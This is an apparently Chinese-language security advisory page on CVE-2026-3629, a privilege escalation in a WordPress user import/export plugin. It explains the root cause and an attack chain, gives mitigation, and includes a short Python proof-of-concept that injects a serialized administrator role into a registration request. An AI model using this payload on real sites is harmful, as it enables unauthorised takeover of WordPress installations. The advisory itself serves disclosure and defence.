IPBUF安全漏洞报告
English
CVE-2026-3629 CVSS 8.1 高危

CVE-2026-3629 WP用户导入插件权限提升漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3629
漏洞类型
权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Import and export users and customers (WordPress Plugin)

相关标签

权限提升WordPressCVE-2026-3629wp_capabilitiesRCE0day

漏洞概述

WordPress插件“Import and export users and customers”在1.29.7及之前版本中存在严重的权限提升漏洞。该漏洞源于`save_extra_user_profile_fields`函数未能正确限制可通过个人资料字段更新的用户元键。具体而言,`get_restricted_fields`方法未包含`wp_capabilities`等敏感元键。在满足特定条件(即“Show fields in profile”设置已启用且之前已导入包含`wp_capabilities`列标题的CSV)的情况下,未经身份验证的攻击者可以通过提交精心设计的注册请求来设置`wp_capabilities`元键,从而将其权限提升至管理员级别。该漏洞CVSS评分为8.1,影响机密性、完整性和可用性,属于高危漏洞。

技术细节

该漏洞的根本原因在于插件对用户元数据处理的不当验证。插件允许通过CSV导入用户数据,并将CSV列映射到WordPress的用户元数据。尽管插件试图通过`get_restricted_fields`方法限制可修改的字段,以防止攻击者修改关键权限字段,但该列表存在遗漏,未将`wp_capabilities`纳入限制范围。当管理员启用“Show fields in profile”选项并导入过包含`wp_capabilities`列的CSV文件后,攻击者即可利用注册机制。攻击者在注册请求中构造POST数据,包含`wp_capabilities`参数(例如设置为`administrator`),由于未受拦截,该数据会被`save_extra_user_profile_fields`函数直接写入数据库。这导致新注册的用户自动获得管理员权限,从而完全接管网站。整个过程无需预先认证,利用门槛较低。

攻击链分析

STEP 1
步骤1:前置条件确认
攻击者确认目标站点安装了受影响版本的插件,且管理员已启用“Show fields in profile”设置并导入过包含wp_capabilities列的CSV文件。
STEP 2
步骤2:构造恶意注册请求
攻击者构造一个恶意的HTTP POST注册请求,在请求体中注入`wp_capabilities`参数,并将其值设置为管理员的权限序列化数据。
STEP 3
步骤3:发送请求与权限覆写
攻击者向WordPress注册端点发送该请求。由于插件未过滤该字段,`save_extra_user_profile_fields`函数将恶意数据写入数据库的用户元表中。
STEP 4
步骤4:获取管理员权限
新注册的用户在数据库中被赋予了Administrator角色。攻击者随后使用该账户登录,获得网站完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit script for CVE-2026-3629 # Note: This requires the plugin "Import and export users and customers" to be installed, # "Show fields in profile" enabled, and a CSV with wp_capabilities header previously imported. target_url = "http://example.com/wp-login.php?action=register" # Crafted registration payload to escalate privileges payload = { "user_login": "hacker", "user_email": "[email protected]", "wp_capabilities": "a:1:{s:13:\"administrator\";s:1:\"1\";}" # Serialized data for admin role } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("Registration request sent. Check if user was created as Administrator.") else: print(f"Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Import and export users and customers <= 1.29.7

防御指南

临时缓解措施
建议暂时禁用插件中的“Show fields in profile”设置,并停止导入包含敏感列名的CSV文件,直到应用官方补丁。同时,审查现有用户列表以识别可能已被入侵的账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表